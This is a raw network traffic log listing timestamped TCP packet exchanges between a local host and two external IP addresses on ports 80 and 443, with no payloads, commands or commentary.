Dec 9, 2024 21:09:28.115888119 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.115931034 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.116280079 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.116579056 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.116624117 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.248048067 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.248065948 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.248075008 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.248172045 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.292112112 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.292927980 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.363653898 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.363709927 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.367289066 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.367302895 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.367321968 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.367340088 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.367340088 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.367362022 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.412508965 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.412569046 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.483975887 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.483998060 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.484019041 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.484052896 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.484071016 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.484097958 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.484110117 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.484121084 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.484132051 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.484144926 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.484164000 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.484189987 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.484500885 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.484533072 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.484548092 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.484554052 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.484570980 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.484571934 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.484582901 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.484590054 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.484602928 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.484606981 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.484615088 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.484621048 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.484642029 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.484659910 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.485327005 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.485416889 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.485430002 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.485440969 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.485455990 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.485465050 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.485469103 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.485481024 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.485492945 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.485497952 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.485517979 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.485526085 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.486258984 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.486274004 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.486305952 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.486314058 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.486325979 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.486325979 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.486339092 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.486350060 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.486352921 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.486360073 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.486366034 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.486372948 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.486393929 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.486412048 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.487215996 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.487229109 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.487238884 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.487257957 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.487271070 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.487282991 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.487297058 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.487310886 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.487339020 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.487350941 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.488025904 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.488037109 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.488070011 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.488089085 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.488265991 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.488358974 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.488370895 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.488383055 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.488394976 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.488401890 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.488404989 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.488416910 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.488429070 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.488430023 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.488451004 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.488473892 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.489255905 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.489268064 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.489278078 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.489290953 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.489298105 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.489301920 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.489314079 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.489326000 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.489331007 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.489342928 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.489362001 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.490160942 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.490171909 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.490183115 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.490195036 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.490206957 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.490219116 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.490235090 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.490241051 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.490246058 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.490284920 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.490302086 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.491333008 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.491348982 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.491359949 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.491373062 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.491384029 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.491393089 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.491394997 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.491405964 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.491416931 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.491424084 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.491457939 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.492058992 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.492072105 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.492083073 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.492095947 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.492105961 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.492106915 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.492119074 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.492120028 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.492130041 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.492157936 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.492172003 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.492964983 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.492978096 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.492986917 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.492996931 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.493010044 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.493021965 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.493026972 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.493032932 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.493036032 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.493077993 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.494230032 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.494241953 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.494251966 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.494263887 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.494263887 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.494276047 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.494287968 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.494297981 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.494303942 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.494309902 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.494323015 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.494333982 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.494337082 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.494347095 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.494364977 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.494383097 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.494407892 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.495035887 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495048046 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495059967 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495071888 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.495090961 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.495105028 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495109081 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.495119095 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495129108 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495140076 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495152950 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495157003 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.495162964 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495193958 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.495214939 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.495640039 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:28.495704889 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.495826960 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495852947 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495866060 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495873928 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.495893002 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.495908022 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.495924950 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495937109 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495949030 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495961905 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.495973110 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.495990992 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.496840954 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.496896982 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.496954918 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.496965885 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.497008085 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.497756958 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.497767925 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.497778893 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.497791052 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.497801065 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.497808933 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.497817039 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.497829914 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.497858047 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.497868061 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.498528957 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.498541117 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.498570919 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.498589039 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.498616934 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.498629093 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.498640060 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.498660088 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.498661041 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.498671055 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.498683929 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.498687029 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.498713970 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.498738050 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.499558926 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.499572039 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.499583006 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.499596119 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.499598980 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.499618053 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.499636889 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.499821901 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.499840975 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.499856949 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.499861956 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.499883890 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.499886036 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.499890089 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.499897957 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.499908924 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.499919891 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.499933004 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.499954939 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.500813007 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.500825882 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.500838041 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.500850916 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.500860929 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.500873089 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.500874996 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.500885010 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.500897884 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.500905037 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.500916004 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.500940084 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.501600981 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.501661062 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.501702070 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.501714945 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.501725912 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.501737118 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.501748085 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.501759052 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.501770973 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.501784086 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.501801014 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.501825094 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.502630949 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.502644062 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.502655029 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.502667904 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.502679110 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.502685070 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.502691031 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.502700090 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.502701998 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.502715111 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.502737999 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.502758980 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.503388882 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.503478050 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.503480911 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.503494024 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.503509998 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.503521919 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.503524065 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.503534079 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.503534079 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.503546000 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.503556967 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.503592968 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.504390001 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.504401922 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.504412889 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.504425049 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.504436970 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.504440069 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.504447937 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.504460096 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.504479885 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.504493952 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.504517078 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.505234003 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.505247116 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.505259991 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.505273104 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.505294085 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.505325079 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.505626917 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.505639076 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.505673885 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.513722897 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.513737917 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:28.514005899 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:28.532728910 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.532779932 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.533037901 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.533087969 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.533308983 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.533404112 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.533443928 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.533617020 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.533654928 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.533837080 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.533849001 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.533875942 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.533894062 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.534159899 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.534169912 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.534200907 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:28.534224987 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:28.534276962 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.534295082 CET	443	49905	172.67.139.78	192.168.2.6
Dec 9, 2024 21:09:28.534379959 CET	49905	443	192.168.2.6	172.67.139.78
Dec 9, 2024 21:09:28.534430027 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:28.534440041 CET	443	49905	172.67.139.78	192.168.2.6
